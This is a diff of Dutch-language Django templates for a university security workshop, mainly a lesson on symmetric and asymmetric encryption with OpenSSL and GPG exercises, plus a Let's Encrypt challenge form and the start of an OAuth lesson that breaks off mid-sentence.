@ -0,0 +1 @@ |
|||||||
|
.DS_Store |
@ -0,0 +1,312 @@ |
|||||||
|
{% extends "base.html" %} {% block content %} |
||||||
|
|
||||||
|
<h1>Encryptie & Signen</h1> |
||||||
|
|
||||||
|
<p>Deze week gaan we nog een laagje dieper en kijken naar (a)symmetrische encryptie, sleutels, signen en PGP.</p> |
||||||
|
|
||||||
|
<h2>Symmetrische encryptie</h2> |
||||||
|
|
||||||
|
<p>Dat encryptie betekent dat je bestandjes of tekst versleuteld wist je waarschijnlijk al, maar wist je ook dat er twee soorten |
||||||
|
encryptie zijn? Symmetrische en assymetrische encryptie zijn verschillende technieken die je beide in tandem kan gebruiken |
||||||
|
om je bestanden, berichten en verbindingen te beveiligen.</p> |
||||||
|
|
||||||
|
<p>Stel, Alice wil een geheim bericht versturen naar Bob. Alice kan het bericht geheim maken door het door een encryptiealgoritme |
||||||
|
te halen. Dit neemt het bericht van Alice en een geheime sleutel als input. De sleutel is in dit geval een random string |
||||||
|
die alleen Alice weet. Het algoritme encrypt het bericht naar een gecodeerde versie. Zonder de sleutel te hebben is het |
||||||
|
onmogelijk om terug te rekenen wat het originele bericht was. Alice stuurt met een gerust hart dit gecodeerde bericht via |
||||||
|
internet delen, zonder bang te zijn dat iemand het kan lezen.</p> |
||||||
|
|
||||||
|
<img src="static/img/sym_encryptie.png"> |
||||||
|
|
||||||
|
<p>Alice wil het bericht aan Bob sturen, om ervoor te zorgen dat Bob het bericht kan ontcijferen heeft Alice hem de geheime |
||||||
|
sleutel van tevoren gegeven. Bob kan het gecodeerde bericht samen met |
||||||
|
<b>dezelfde</b> geheime sleutel die Alice heeft gebruikt door het bijbehorende decryptie algoritme halen om de originele data |
||||||
|
weer terug te krijgen.</p> |
||||||
|
|
||||||
|
<p>Bob kan op dezelfde manier ook berichten naar Alice sturen die Alice weer kan ontcijferen. Zolang de sleutel geheim blijft |
||||||
|
kunnen Alice en Bob veilig met elkaar communiceren.</p> |
||||||
|
|
||||||
|
<img src="static/img/sym_decryptie.png"> |
||||||
|
|
||||||
|
<p>We kunnen met OpenSSL (zie vorige week als je dat nog niet hebt geinstalleerd) ook encrypten en decrypten met verschillende |
||||||
|
soorten encryptie algoritmes. Met onderstaande commando kunnen we bijvoorbeeld een bestand ontsleutelen.</p> |
||||||
|
|
||||||
|
<code class="terminal">openssl enc -aes-256-cbc -base64 -d -in geheim.aes256 -out nietmeergeheim.txt</code> |
||||||
|
|
||||||
|
<p>Een hele mond vol, laten we eens kijken wat alle argumenten betekenen:</p> |
||||||
|
|
||||||
|
<ul> |
||||||
|
<li> |
||||||
|
<span class="argument">openssl</span> Het programma zelf</li> |
||||||
|
<li> |
||||||
|
<span class="argument">enc</span> Een command van OpenSSL waarmee we aangeven dat we data willen versleutelen of ontsleutelen</li> |
||||||
|
<li> |
||||||
|
<span class="argument">-aes-256-cbc</span> Het encryptie algoritme wat we gebruiken. |
||||||
|
<ul> |
||||||
|
<li> |
||||||
|
<b>aes</b> staat voor |
||||||
|
<a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard" target="_blank">Advanced Encryption Standard</a>, een veel gebruikt algoritme.</li> |
||||||
|
<li> |
||||||
|
<b>256</b> is het aantal bits van de sleutel. OpenSSL vult je wachtwoord aan tot deze hoeveelheid bits.</li> |
||||||
|
<li> |
||||||
|
<b>cbc</b> staat voor |
||||||
|
<a href="https://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29." target="_blank">Cipher-block chaining</a>. Een techniek om het lastiger te maken informatie af te leiden uit de versleutelde data.</li> |
||||||
|
</ul> |
||||||
|
</li> |
||||||
|
<li> |
||||||
|
<span class="argument">-base64</span> lees en schrijf de versleutelde data als |
||||||
|
<a href="http://en.wikipedia.org/wiki/Base64" target="_blank">base64</a>. Dit maakt bestandjes groter, maar de data ook makkelijker te knippen/plakken in mailtjes of invoervelden |
||||||
|
op websites.</li> |
||||||
|
<li> |
||||||
|
<span class="argument">-d</span> decryptie modus. Met dit argument geef je aan dat de invoer de versleutelde data is en de uitvoer de oorspronkelijke |
||||||
|
data moet zijn. Als je deze optie niet mee geeft zit je in encryptie modus, de invoer is dan de oorspronkelijke data |
||||||
|
en de uitvoer wordt dan de versleutelde data</li> |
||||||
|
<li> |
||||||
|
<span class="argument">-in geheim.txt</span> het invoerbestand</li> |
||||||
|
<li> |
||||||
|
<span class="argument">-out decrypted.txt</span> het uitvoerbestand</li> |
||||||
|
</ul> |
||||||
|
|
||||||
|
<img src="/static/img/encryptie.jpg" class="center-block" style="margin-top: 1em; margin-bottom: 1em"> |
||||||
|
|
||||||
|
<p>Een systeembeheerder heeft een geheim staan in dit |
||||||
|
<a href="/static/geheim.aes256" target="_blank">bestandje</a> wat hij met aes-256-cbc heeft versleuteld. Helaas voor hem heeft hij een niet zo hele sterke sleutel gekozen: |
||||||
|
<code>Ab12345</code>. Gebruik OpenSSL om dit bestandje te ontsleutelen.</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Wat is de geheime code die in dit versleutelde bestandje staat?</span> |
||||||
|
{% include "points.html" with points=answers.answer_encryption_decrypt.points max="10" %} |
||||||
|
<input class="question-input" name="answer_encryption_decrypt" value="{{ answers.answer_encryption_decrypt.string }}"></input> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p class="hint">Hint: Als je een bad decrypt error krijgt heb je waarschijnlijk een OpenSSL versie die lager is dan 1.1.0. In dat geval moet |
||||||
|
je de optie `-md sha256` toevoegen.</code> |
||||||
|
</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Versleutel de tekst " |
||||||
|
<em>Security Workshop</em>" met het aes-256-cbc algoritme in base64 mode. Plak de versleutelde tekst in het tekstveld, gebruik |
||||||
|
<code>Ab12345</code> als wachtwoord.</span> |
||||||
|
{% include "points.html" with points=answers.answer_encryption_encrypt.points max="10" %} |
||||||
|
<textarea class="question-input" name="answer_encryption_encrypt">{{ answers.answer_encryption_encrypt.string }}</textarea> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p class="hint">Hint: Je kan dit commando gebruiken: |
||||||
|
<code class="terminal">openssl enc -aes-256-cbc -base64 -in plain.txt -out geheim.aes256.txt</code> |
||||||
|
</p> |
||||||
|
|
||||||
|
<h2>Asymmetrische encryptie</h2> |
||||||
|
|
||||||
|
<p>Bij symmetrische encryptie gebruiken Alice en Bob allebei dezelfde sleutel om het bestand te versleutelen en te ontsleutelen. |
||||||
|
Maar hun communicatie is alleen veilig als ze de sleutel in het geheim afspreken en zolang ze de sleutel geheim houden. |
||||||
|
Dit probleem is opgelost bij asymmetrische encryptie algoritmes, waarbij je twee sleutels gebruikt. Eén publieke en één |
||||||
|
privé sleutel.</p> |
||||||
|
|
||||||
|
<p>Bij een asymmetrisch encryptiealgoritme kan je niet zelf een random sleutel kiezen, deze moet je genereren met een speciaal |
||||||
|
key-generation algoritme. Deze geeft random twee sleutels terug die een opmerkelijke relatie met elkaar hebben. Om ze uit |
||||||
|
elkaar te halen noemen we ze hier de groene en de rode sleutel, maar het maakt in de praktijk niet uit welke sleutel welke |
||||||
|
is. |
||||||
|
</p> |
||||||
|
|
||||||
|
<img src="static/img/sleutels_genereren.png"> |
||||||
|
|
||||||
|
<p>Om een bestandje te versleutelen nemen we bijvoorbeeld de groene sleutel en gebruiken we die om het bestandje te versleutelen. |
||||||
|
Maar we kunnen het bestand nu niet meer ontsleutelen met de groene sleutel. |
||||||
|
<b>Met alleen de bijbehorende rode sleutel kan je nu het bestand ontsleutelen</b>. Andersom werkt ook, bestanden die je met |
||||||
|
de rode sleutel versleuteld, zijn enkel en alleen met de groene sleutel te ontsleutelen.</p> |
||||||
|
|
||||||
|
<img src="static/img/asym_encryptie.png"> |
||||||
|
|
||||||
|
<p>Dit lijkt allemaal wat omslachtig en onhandig, en asymmetrische encryptie is ook nog eens honderden keren langzamer dan symmetrische |
||||||
|
encryptie. Waarom zouden we dit gebruiken?</p> |
||||||
|
|
||||||
|
<p>Asymmetrische encryptie vormt de basis van het public-private key systeem. Nadat we een sleutel-paartje hebben gegenereerd |
||||||
|
geven we één sleutel weg aan alles en iedereen, dat is de publieke sleutel die iedereen kan gebruiken. De andere bijbehorende |
||||||
|
sleutel bewaren we op de geheimste plek die je maar kan bedenken en geef je onder geen enkele omstandigheid aan iemand |
||||||
|
anders. |
||||||
|
</p> |
||||||
|
|
||||||
|
<img src="static/img/publicprivatekey.png"> |
||||||
|
|
||||||
|
<p>Als Alice nu een geheim bericht aan Bob wil versturen kan ze dit versleutelen door gebruik te maken van Bob's publieke sleutel. |
||||||
|
Het versleutelde bericht is enkel en alleen te ontsleutelen met Bob's bijbehorende private sleutel. Alice weet dus zeker |
||||||
|
dat alleen Bob het kan lezen.</p> |
||||||
|
|
||||||
|
<img src="static/img/asym_alicebob.png"> |
||||||
|
|
||||||
|
<p>Als Alice het bericht met haar private key zou versleutelen ontstaat er een andere interessante eigenschap: Iedereen kan |
||||||
|
het bericht ontsleutelen, dat is te doen met de bijbehorende publieke sleutel. Maar je weet dan wel zeker dat het bericht |
||||||
|
van Alice afkomstig is, want alleen zij heeft de private sleutel waarmee het bericht in de eerste plaats versleuteld is. |
||||||
|
|
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Hoe kan Alice één bericht naar Bob versturen zodat de volgende dingen tegelijkertijd gelden: |
||||||
|
<ol> |
||||||
|
<li>Alleen Bob kan het bericht lezen</li> |
||||||
|
<li>Bob weet zeker dat het bericht van Alice is</li> |
||||||
|
</ol> |
||||||
|
Leg uit in welke volgorde Alice en Bob encrypten, decrypten en versturen en met welke sleutels. Je mag er van uit gaan dat |
||||||
|
ze elkaars publieke sleutel weten en dat Bob niet de enige is met Alice's publieke sleutel. |
||||||
|
</span> |
||||||
|
{% include "points.html" with points=answers.answer_encryption_securesend.points max="10" %} |
||||||
|
<textarea class="question-input" name="answer_encryption_securesend">{{ answers.answer_encryption_securesend.string }}</textarea> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> het is natuurlijk mogelijk om een versleuteld bericht nog een keer te versleutelen.</p> |
||||||
|
|
||||||
|
<img src="static/img/whatsapp.png" class="screenshot center-block" style="width: 70%"> |
||||||
|
|
||||||
|
<p>WhatsApp beweert dat alle berichten end-to-end versleuteld verstuurd worden. Daarmee zou niemand de berichten kunnen lezen |
||||||
|
die via hun servers verstuurd worden, zelfs zij zelf niet. Alleen de afzender en de ontvanger kunnen de berichten lezen.</p> |
||||||
|
|
||||||
|
<p>Om dat te controleren kan je bij de contactinformatie van elke chat klikken op 'Encryptie', je krijgt dan een QR code en |
||||||
|
een lijst van cijfers. Als de cijfers allemaal hetzelfde zijn zou je zeker moeten weten dat berichtjes alleen door jou |
||||||
|
en de andere persoon gelezen kunnen worden.</p> |
||||||
|
|
||||||
|
<img src="static/img/whatsapp_qr.png" class="screenshot center-block" style="width: 50%"> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Zoek op internet welke informatie er in de QR code staat. Hoe kan WhatsApp met die informatie garanderen dat alleen jullie |
||||||
|
twee de chat kan lezen?</span> |
||||||
|
{% include "points.html" with points=answers.answer_encryption_whatsapp.points max="10" %} |
||||||
|
<textarea class="question-input" name="answer_encryption_whatsapp">{{ answers.answer_encryption_whatsapp.string }}</textarea> |
||||||
|
</div> |
||||||
|
|
||||||
|
|
||||||
|
<h2>GPG</h2> |
||||||
|
|
||||||
|
<p>Genoeg theorie, we gaan aan de slag met concrete encryptiealgoritmes. En wel met de |
||||||
|
<a href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy#OpenPGP" target="_blank">OpenPGP</a> (Pretty Good Privacy) standaard. Een veel gebruikt open source programma die deze standaard implementeert |
||||||
|
is |
||||||
|
<a href="http://en.wikipedia.org/wiki/GNU_Privacy_Guard" target="_blank">GPG</a> (GNU Privacy Guard). Met dit programma kunnen we sleutelparen maken, bestanden encrypten/decrypten en versleutelde |
||||||
|
berichten versturen.</p> |
||||||
|
|
||||||
|
<p>Om het makkelijker te maken om publieke sleutels uit te wisselen kan GPG gebruik maken van een |
||||||
|
<b>keyserver</b>. Dit is een speciale server die een lijst van publieke sleutels bijhoud. Voor onderstaande opdrachten hebben |
||||||
|
we onze eigen keyserver ingericht op websec.paulwagener.nl. |
||||||
|
<b>Deze werkt niet als je de opdrachten thuis maakt</b>. De Avans firewall blokkeert poort 11371 waarop deze server werkt.</p> |
||||||
|
|
||||||
|
<p>GPG kan je |
||||||
|
<a href="http://www.gpg4win.org/" target="_blank">hier</a> voor Windows downloaden, na het installeren kan je in je CMD alle commando's typen. Als je Linux of Mac OS X |
||||||
|
gebruikt hoef je niks te doen, GPG is standaard geïnstalleerd.</p> |
||||||
|
|
||||||
|
<img src="static/img/gpg.png"> |
||||||
|
|
||||||
|
<code class="terminal">gpg --help</code> |
||||||
|
|
||||||
|
<p>Met bovenstaande commando zie je alle dingen die je met GPG kan doen. We gaan niet meer alle commando's voorkauwen, je |
||||||
|
bent inmiddels handig genoeg om die zelf te bedenken. Een paar handige opties om te onthouden:</p> |
||||||
|
|
||||||
|
<ul> |
||||||
|
<li> |
||||||
|
<b>--gen-key</b> Maak een nieuw publiek/private sleutelpaar.</li> |
||||||
|
<li> |
||||||
|
<b>--list-keys</b> Bekijk alle sleutels die je lokaal hebt.</li> |
||||||
|
<li> |
||||||
|
<b>--sign</b> Gebruik je eigen private sleutel gebruiken om een bestand te encrypten.</li> |
||||||
|
<li> |
||||||
|
<b>--decrypt</b> Gebruik iemand anders publieke sleutel om een bestand te decrypten.</li> |
||||||
|
<li> |
||||||
|
<b>--encrypt</b> Gebruik iemand anders publieke sleutel om een bestand te encrypten.</li> |
||||||
|
<li> |
||||||
|
<b>--recv-keys --keyserver websec.paulwagener.nl |
||||||
|
<i>sleutel-ID</i> |
||||||
|
</b> Haal een publieke sleutel op van de onze keyserver</li> |
||||||
|
<li> |
||||||
|
<b>--send-keys --keyserver websec.paulwagener.nl |
||||||
|
<i>sleutel-ID</i> |
||||||
|
</b> Verstuur een publieke sleutel naar onze keyserver</li> |
||||||
|
<li> |
||||||
|
<b>--sign-key</b> Signeer een publieke sleutel met jouw eigen private sleutel</li> |
||||||
|
<li> |
||||||
|
<b>-a</b> Output in ASCII base64 formaat</li> |
||||||
|
<p> |
||||||
|
|
||||||
|
<p>Haal van de keyserver onze publieke sleutel op met sleutel-ID |
||||||
|
<b>B69F77232CE5546445137725D555F2F5FA9E1C5A</b> (GPG noemt dit ook wel de user-ID). We hebben met onze private sleutel |
||||||
|
een tekst versleuteld in |
||||||
|
<a href="static/secret.txt.asc" target="_blank">dit bestand</a>. Gebruik de publieke sleutel om dit bestand te ontsleutelen.</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Welke zin hebben we versleuteld?</span> |
||||||
|
{% include "points.html" with points=answers.answer_encryption_decrypt_public_key.points max="5" %} |
||||||
|
<input class="question-input" name="answer_encryption_decrypt_public_key" value="{{ answers.answer_encryption_decrypt_public_key.string }}"> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p>Gebruik onze publieke sleutel om zelf een tekstbestandje te versleutelen. Zorg ervoor dat ergens in de tekst van dit |
||||||
|
bestandje de geheime code "555-0690" en je e-mailadres staat.</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Plak de inhoud van het versleutelde bestand (inclusief begin en einde |
||||||
|
<code>-----BEGIN PGP MESSAGE-----</code>)</span> |
||||||
|
{% include "points.html" with points=answers.answer_encryption_encrypt_public_key.points max="5" %} |
||||||
|
<textarea class="question-input" name="answer_encryption_encrypt_public_key">{{ answers.answer_encryption_encrypt_public_key.string }}</textarea> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Het is met GPG mogelijk om meerdere ontvangers op te geven. Dat hoeft voor deze opdracht niet. Als |
||||||
|
je alle (1 dus) ontvangers hebt opgegeven moet je een lege regel opgeven om aan te geven dat je verder wil gaan.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Gebruik onze sleutel-ID (ook wel user-id) die we eerder al hebben genoemd.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Krijg je een binair bestand? Dan ben je waarschijnlijk vergeten om de ASCII base64 optie aan te zetten |
||||||
|
(zie lijst van opties hierboven)</p> |
||||||
|
|
||||||
|
<p>Tijd om je eigen sleutels te gebruiken! Maak je eigen publieke/private sleutelpaar en verstuur de publieke sleutel |
||||||
|
naar de websec.paulwagener.nl keyserver. |
||||||
|
<b>Gebruik je e-mailadres voor het e-mailveld</b>.</p> |
||||||
|
|
||||||
|
<p>Vergeet niet om je publieke sleutel naar de websec.paulwagener.nl keyserver te sturen zodat anderen die kunnen opzoeken |
||||||
|
en geheime berichten naar je kunnen sturen (en zodat wij de opdrachten kunnen nakijken, anders krijg je de punten |
||||||
|
voor onderstaande opdracht niet!)</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Versleutel een bestandje met de tekst "Security 2" met je eigen private sleutel. Plak de versleutelde tekst in het |
||||||
|
tekstveld (inclusief begin en einde |
||||||
|
<code>-----BEGIN PGP MESSAGE-----</code>)</span> |
||||||
|
{% include "points.html" with points=answers.answer_encryption_encrypt_with_own_private.points max="5" %} |
||||||
|
<textarea class="question-input" name="answer_encryption_encrypt_with_own_private">{{ answers.answer_encryption_encrypt_with_own_private.string }}</textarea> |
||||||
|
</div> |
||||||
|
|
||||||
|
<h3>Web of Trust</h3> |
||||||
|
|
||||||
|
<p>Probleempje: elke mafketel kan sleutels aanmaken en daar elke naam bij zetten die hij maar wil. Hoe zorgen we ervoor |
||||||
|
dat de naam en e-mailadres die bij een sleutel staan ook echt klopt? Dit probleem heeft GPG opgelost door het mogelijk |
||||||
|
te maken om met jouw private sleutel een |
||||||
|
<b>handtekening</b> (signature) te maken voor een publieke sleutel van iemand anders. Je geeft daarmee aan dat je gecontroleerd |
||||||
|
hebt dat de naam die bij een sleutel staat klopt en dat je die persoon vertrouwd.</p> |
||||||
|
|
||||||
|
<p>Op die manier ontstaat er een web van vertrouwensrelaties. En als jij Tony vertrouwd, en Tony vertrouwd Steve. Dan |
||||||
|
kan je indirect ervan uitgaan dat de naam van de sleutel van Steve klopt. Op die manier kan je indirect een hele |
||||||
|
hoop sleutels vertrouwen. Op onze keyserver zie je bijvoorbeeld |
||||||
|
<a href="http://websec.paulwagener.nl:11371/pks/lookup?op=vindex&search=0XB69F77232CE5546445137725D555F2F5FA9E1C5A" target="_blank">wie er allemaal direct onze sleutel vertrouwd.</a> |
||||||
|
</p> |
||||||
|
|
||||||
|
<img src="static/img/web_of_trust.gif"> |
||||||
|
|
||||||
|
<p>Als je je eigen sleutel wil gebruiken om andere sleutels te ondertekenen/vertrouwen doe je dat door eerst een publieke |
||||||
|
sleutel te downloaden van de keyserver, dan deze lokaal te ondertekenen met je eigen sleutel en vervolgens de publieke |
||||||
|
sleutel weer opnieuw te versturen naar de keyserver.</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Gebruik je eigen sleutel om onze sleutel (sleutel-ID: B69F77232CE5546445137725D555F2F5FA9E1C5A) en de sleutel van |
||||||
|
drie medestudenten te ondertekenen. Upload je ondertekening terug naar de keyserver. Plak je eigen sleutel-ID als |
||||||
|
antwoord hier.</span> |
||||||
|
{% include "points.html" with points=answers.answer_encryption_sign_keys.points max="5" %} |
||||||
|
<input class="question-input" name="answer_encryption_sign_keys" value="{{ answers.answer_encryption_sign_keys.string }}"> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Handtekeningen worden pas verstuurd als je de sleutel die je hebt ondertekend weer terugstuurt naar |
||||||
|
de server.</p> |
||||||
|
|
||||||
|
<p>Heb je de smaak te pakken? Dan kan je je eigen publieke sleutel ook doorsturen naar andere |
||||||
|
<a href="http://en.wikipedia.org/wiki/Key_server_%28cryptographic%29" target="_blank">keyservers</a> en laten ondertekenen bij hippe |
||||||
|
<a href="http://en.wikipedia.org/wiki/Key_signing_party" target="_blank">key signing parties</a>.</p> |
||||||
|
|
||||||
|
<a href="http://xkcd.com/364/" target="_blank"> |
||||||
|
<img src="http://imgs.xkcd.com/comics/responsible_behavior.png"> |
||||||
|
</a> |
@ -0,0 +1,58 @@ |
|||||||
|
<!DOCTYPE html> |
||||||
|
<html> |
||||||
|
|
||||||
|
<head> |
||||||
|
<title>Security Workshop</title> |
||||||
|
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css"> |
||||||
|
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css"> |
||||||
|
<link href="/static/css/style.css" rel="stylesheet" type="text/css"> |
||||||
|
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script> |
||||||
|
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script> |
||||||
|
<script type="text/javascript" src="/static/js/quiz.js"></script> |
||||||
|
</head> |
||||||
|
|
||||||
|
<body> |
||||||
|
<form method="POST" id="form-quiz"> |
||||||
|
<div class="row-fluid"> |
||||||
|
<div class="well span3" id="menu"> |
||||||
|
|
||||||
|
<ul> |
||||||
|
<li> |
||||||
|
<a href="/?sql">SQL Injection</a> |
||||||
|
</li> |
||||||
|
<li> |
||||||
|
<a href="/?xss">Cross-site Scripting</a> |
||||||
|
</li> |
||||||
|
<li> |
||||||
|
<a href="/?wachtwoorden">Wachtwoorden</a> |
||||||
|
</li> |
||||||
|
<li> |
||||||
|
<a href="/?path">Insecure Direct Object References</a> |
||||||
|
</li> |
||||||
|
<!-- |
||||||
|
<li> |
||||||
|
<a href="/?oauth">OAuth</a> |
||||||
|
</li> |
||||||
|
<li> |
||||||
|
<a href="/?certificaten">Certificaten</a> |
||||||
|
</li> |
||||||
|
<li> |
||||||
|
<a href="/?encryptie">Encryptie</a> |
||||||
|
</li> |
||||||
|
--> |
||||||
|
</ul> |
||||||
|
|
||||||
|
Moeilijkheidsgraad: |
||||||
|
<select id="difficulty"> |
||||||
|
<option value="easy">Hints zichtbaar</option> |
||||||
|
<option value="normal">Hints optioneel</option> |
||||||
|
<option value="hard">Geen hints</option> |
||||||
|
</select> |
||||||
|
</div> |
||||||
|
|
||||||
|
<div id="quiz" class="span8 offset3"> |
||||||
|
</div> |
||||||
|
</form> |
||||||
|
</body> |
||||||
|
|
||||||
|
</html> |
@ -0,0 +1,56 @@ |
|||||||
|
<!DOCTYPE html> |
||||||
|
<html> |
||||||
|
|
||||||
|
<head> |
||||||
|
<link rel="stylesheet" href="/static/css/semantic.min.css"> |
||||||
|
<style type="text/css"> |
||||||
|
body { |
||||||
|
margin-top: 20px; |
||||||
|
} |
||||||
|
</style> |
||||||
|
</head> |
||||||
|
|
||||||
|
<body> |
||||||
|
<h1 class="ui centered aligned header">Let's Encrypt</h1> |
||||||
|
|
||||||
|
<div class="ui three column centered grid"> |
||||||
|
<div class="column ui"> |
||||||
|
<form method="POST" action="" class="ui form primary center aligned segment"> |
||||||
|
{% csrf_token %} {% if challenge %} |
||||||
|
<p>Vanaf |
||||||
|
<br> |
||||||
|
<a href="http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}">http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}</a> |
||||||
|
<br> wordt de komende 10 minuten de volgende tekst getoond: |
||||||
|
<br> |
||||||
|
<code>{{challenge}}.{{response}}</code> {% elif error %} |
||||||
|
<div class="ui negative message"> |
||||||
|
<p>{{error}}</p> |
||||||
|
</div> |
||||||
|
|
||||||
|
{% else %} |
||||||
|
<div class="field"> |
||||||
|
<label for="domain">Challenge-response</label> |
||||||
|
<div class="ui huge input"> |
||||||
|
<textarea name="challenge-response" value="" style="text-align: center;" placeholder=""></textarea> |
||||||
|
</div> |
||||||
|
<p>Vul hier de code in die Let's Encrypt van je vraagt om te geven via |
||||||
|
<br> |
||||||
|
<code>http://websec.paulwagener.nl/.well-known/acme-challenge/</code> |
||||||
|
</p> |
||||||
|
</div> |
||||||
|
|
||||||
|
<button type="submit" class="ui big blue submit button">Opslaan</button> |
||||||
|
|
||||||
|
{% endif %} |
||||||
|
</form> |
||||||
|
</div> |
||||||
|
</div> |
||||||
|
|
||||||
|
|
||||||
|
</div> |
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</body> |
||||||
|
|
||||||
|
</html> |
@ -0,0 +1,371 @@ |
|||||||
|
{% extends "base.html" %} {% block content %} |
||||||
|
<h1>OAuth</h1> |
||||||
|
|
||||||
|
<img src="static/img/oauth.png" style="float: right"> |
||||||
|
|
||||||
|
<p>Heb je wel eens gebruik gemaakt van een API van Twitter, Facebook of Google? Dan heb je waarschijnlijk te maken gehad |
||||||
|
<strong>OAuth</strong>, de technologie die je toestemming verleent om gebruik te maken van die API's.</p> |
||||||
|
|
||||||
|
<p>Er zijn veel misverstanden over OAuth waardoor het vaak verkeerd begrepen wordt en er veel frictie ontstaat ontstaat tussen |
||||||
|
de API en de ontwikkelaar. Het is bijvoorbeeld niet ontworpen om enkel mee in te loggen, hoewel het daar wel veel voor |
||||||
|
gebruikt wordt. Deze week gaan we kijken naar het probleem van authoriseren en hoe OAuth dat oplost.</p> |
||||||
|
|
||||||
|
<p>We gaan deze week oefenen met OAuth 2.0. Er is ook versie 1.0 en 1.0a die heel anders werken (hoewel ze qua concept wel gelijk |
||||||
|
zijn). Let altijd op met welke versie je te maken hebt, je kan een 2.0 client niet laten praten met een 1.0 server en vice |
||||||
|
versa. |
||||||
|
</p> |
||||||
|
|
||||||
|
<p>We nemen als voorbeeld de Poespas bank. Een simpele website waarmee gebruikers kunnen inloggen met een gebruikersnaam en |
||||||
|
wachtwoord. Als ze ingelogd zijn zien ze hun huidige saldo. De bank heeft een simpele API waarmee gebruikers hun saldo |
||||||
|
kunnen checken.</p> |
||||||
|
|
||||||
|
<h3>Simpele authenticatie</h3> |
||||||
|
|
||||||
|
<p>Een simpele manier om de saldo API te implementeren is om rechtstreeks je gebruikersnaam en wachtwoord mee te geven in de |
||||||
|
API request. De server checkt of de inloggegevens correct zijn en geeft de saldo informatie van die gebruiker terug. Uiteraard |
||||||
|
moet dit alles over een beveiligde verbinding gebeuren, maar als dat zo is is het in theorie een veilige oplossing.</p> |
||||||
|
|
||||||
|
<figure> |
||||||
|
<img src="static/img/auth_basic.png"> |
||||||
|
</figure> |
||||||
|
|
||||||
|
<img src="static/img/http_auth.png" style="float: right; width: 30%; margin-left: 10px"> |
||||||
|
|
||||||
|
<p>Veel echte API's werkte vroeger op deze manier (vaak op basis van |
||||||
|
<a href="http://en.wikipedia.org/wiki/Basic_access_authentication" target="_blank">HTTP Authentication</a>). En zolang alles over een beveiligde verbinding tussen de gebruiker en de server loopt is alles |
||||||
|
veilig. De problemen beginnen echter als een derde partij betrokken raakt bij onze API.</p> |
||||||
|
|
||||||
|
<p>Een startup heeft de |
||||||
|
<i>BudgetApp</i> ontwikkelt, een nieuwe app die laat zien hoeveel saldo je per maand op je rekening hebt staan. Ze maken gebruik |
||||||
|
van de Poespas API om het saldo van de gebruiker op te halen. Maar om die API te kunnen gebruiken hebben ze de gebruikersnaam |
||||||
|
en het wachtwoord van de gebruiker nodig. Op hun inlogscherm vragen ze daarom om de inloggegevens zodat de app goed kan |
||||||
|
werken. |
||||||
|
</p> |
||||||
|
|
||||||
|
<figure> |
||||||
|
<img src="static/img/auth_basic_app.png"> |
||||||
|
</figure> |
||||||
|
|
||||||
|
<p>Het probleem met deze manier van authenticeren wordt nu snel duidelijk: de app krijgt de gebruikersnaam en wachtwoord van |
||||||
|
de gebruiker in handen. Daarmee kunnen ze niet alleen het saldo ophalen met de API. Maar ook alle andere dingen die de |
||||||
|
gebruiker kan zoals bijvoorbeeld inloggen, geld overschrijven en het wachtwoord veranderen.</p> |
||||||
|
|
||||||
|
|
||||||
|
<p>Om deze situatie te voorkomen willen we een authorisatiesysteem waarbij de app wel een sleutel krijgt om de API te gebruiken, |
||||||
|
maar niet het wachtwoord van de gebruiker zelf. Dat moet strict geheim blijven.</p> |
||||||
|
|
||||||
|
<h3>Access tokens</h3> |
||||||
|
|
||||||
|
<img src="static/img/access_token.png" class="center-block" style="float: right; width: 25%"> |
||||||
|
<p>OAuth lost dit probleem op door het concept van een |
||||||
|
<b>access token</b>. Een lange string waarmee je aangeeft dat een bepaalde gebruiker jou toestemming heeft gegeven om de API |
||||||
|
te mogen gebruiken. Deze token geef je bij elke aanroep van de API mee in een speciale 'Authorization' header, zodat de |
||||||
|
server deze kan verifiëren.</p> |
||||||
|
|
||||||
|
<p>De app heeft nu niet meer de gebruikersnaam en wachtwoord van de gebruiker nodig, de access token is voor de bank een veilige |
||||||
|
manier om toegang tot de API te geven. En omdat een access token maar tijdelijk geldig is (vaak maar een uur) blijft de |
||||||
|
schade relatief beperkt als een hacker hier toegang tot krijgt.</p> |
||||||
|
|
||||||
|
<img src="static/img/oauth_facebook.png" class="center-block"> |
||||||
|
|
||||||
|
<p>Access tokens kan je aanvragen door de gebruiker te sturen naar een speciale authorisatie pagina. Je hebt ze vast wel eens |
||||||
|
eerder gezien: de pagina's waar je moet inloggen en op 'Geef toestemming' moet klikken. Zodra je op die knop klikt wordt |
||||||
|
je weer teruggestuurd naar de oorspronkelijke app of webapplicatie met de access token in de URL.</p> |
||||||
|
|
||||||
|
<figure> |
||||||
|
<img src="static/img/auth_access_token.png" class="center-block"> |
||||||
|
</figure> |
||||||
|
|
||||||
|
<p>Je kan ook een speciale |
||||||
|
